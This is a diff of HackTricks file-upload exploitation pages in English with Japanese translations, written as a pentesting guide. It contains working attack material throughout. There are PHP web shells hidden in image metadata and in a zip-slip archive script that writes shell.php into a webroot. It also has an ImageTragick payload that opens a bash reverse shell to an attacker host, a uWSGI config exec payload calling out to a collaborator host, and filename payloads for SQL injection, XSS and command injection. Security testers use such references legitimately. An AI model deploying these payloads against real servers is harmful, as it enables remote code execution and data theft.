AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ペイロードを作成
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Content-Type、マジックナンバー、圧縮リサイズのバイパス
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または、画像内にペイロードを**直接挿入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数 `imagecopyresized` または `imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数 `thumbnailImage`を使用します。ただし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### その他のチェックするトリック
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
- すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
- **情報漏洩の可能性**:
1. **同時に**同じ**名前**の**同じファイル**を**何度も**アップロードします。
2. **既に存在する**ファイルまたは**フォルダ**の**名前**でファイルをアップロードします。
3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**をアップロードします。Windows
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。Windows
6. **予約された****禁止された****名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9を持つファイルを**Windows**にアップロードします。
- **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることも試みてください。
### Special extension tricks
### 特殊な拡張子のトリック
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)\
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりできます...
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作される可能性があります。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
```ini
[uwsgi]
; read from a symbol
@ -133,16 +132,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要がありますクラッシュ後やサービス拒否攻撃のためにまたはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げることができます。
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -165,163 +162,154 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意してください。**別のオプション**として、このチェックをバイパスするために考えているかもしれないのは、**HTTPサーバーが別のファイルにリダイレクトする**ことです。これにより、最初のURLがチェックをバイパスし、その後wgetが新しい名前のリダイレクトされたファイルをダウンロードします。これは、**wgetが** `--trust-server-names` **パラメータを使用している場合を除いて** **機能しません**。なぜなら、**wgetは元のURLに示されたファイル名でリダイレクトされたページをダウンロードするからです**。
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## ツール
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
## ファイルアップロードから他の脆弱性へ
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
- **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません
- **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する
- **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md)
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**訪問者の情報を盗む**こともできます。
- [**XXEとCORS**バイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md)
- 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認する
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認する
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webシェル / RCE
2. **SVG**: ストレージXSS / SSRF / XXE
3. **GIF**: ストレージXSS / SSRF
4. **CSV**: CSVインジェクション
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
9. **ZIP**: LFI経由のRCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Burp拡張機能
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Magic Header Bytes
## マジックヘッダーバイト
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
他のファイルタイプについては、[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)を参照してください。
### Zip/Tar File Automatically decompressed Upload
### Zip/Tarファイルの自動解凍アップロード
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます
#### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
#### シンボリックリンク
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 異なるフォルダに展開する
### Decompress in different folders
The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
そのようなファイルを作成するための自動化されたエクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
さらに、**evilarcを使用したシンボリックリンクトリック**もオプションです。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
Below is an example of Python code used to create a malicious zip file:
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
**圧縮を悪用したファイルスプレーイング**
**Abusing compression for file spraying**
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。
1. **Creating a PHP Shell**: PHP code is written to execute commands passed through the `$_REQUEST` variable.
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **ファイルスプレーイングと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
2. **File Spraying and Compressed File Creation**: Multiple files are created and a zip archive is assembled containing these files.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hexエディタまたはviによる修正**: zip内のファイル名はviまたはhexエディタを使用して変更され、「xxA」を「../」に変更してディレクトリを横断します。
3. **Modification with a Hex Editor or vi**: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
## ImageTragic
Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**[exploit](https://www.exploit-db.com/exploits/39767)から)
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNGにPHPシェルを埋め込む
## Embedding PHP Shell on PNG
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響についての包括的な理解を提供します。
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
詳細情報は: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## ポリグロットファイル
## Polyglot Files
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害な形式JS、PHP、またはPharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分かもしれません。
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## References
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -332,9 +320,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# PDF Upload - XXE and CORS bypass
# PDF Upload - XXEとCORSバイパス
{{#include ../../banners/hacktricks-training.md}}
**Check [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
**チェック [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,35 +4,35 @@
## Cookie Attributes
Cookies come with several attributes that control their behavior in the user's browser. Heres a rundown of these attributes in a more passive voice:
Cookiesには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性について、より受動的な声で説明します。
### Expires and Max-Age
The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.**
